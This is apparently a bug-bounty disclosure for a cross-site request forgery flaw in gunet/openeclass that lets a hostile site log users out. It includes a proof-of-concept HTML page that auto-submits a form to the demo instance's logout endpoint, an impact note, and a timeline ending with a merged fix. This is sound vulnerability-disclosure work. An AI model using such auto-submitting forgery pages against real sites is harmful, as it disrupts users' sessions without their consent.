Cross-Site Request Forgery (CSRF) in gunet/openeclass

Valid

Reported on

Dec 11th 2021


Description

An attacker is able to log out a user if a logged-in user visits the attacker's website.

Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://demo.openeclass.org/modules/auth/logout.php">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

This vulnerability is capable of forging users to unintentional logout.

More details

One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.

Note

While this cannot harm a user's account, it can be a great annoyance and is a valid CSRF.

We are processing your report and will contact the gunet/openeclass team within 24 hours. 2 months ago
KhanhCM modified their report
2 months ago
We have contacted a member of the gunet/openeclass team and are waiting to hear back 2 months ago
We have sent a follow up to the gunet/openeclass team. We will try again in 7 days. a month ago
Alexandros Diamantidis validated this vulnerability a month ago
KhanhCM has been awarded the disclosure bounty
The fix bounty is now up for grabs
Alexandros Diamantidis confirmed that a fix has been merged on e4fb88 a month ago
Alexandros Diamantidis has been awarded the fix bounty
index.php#L74-L96 has been validated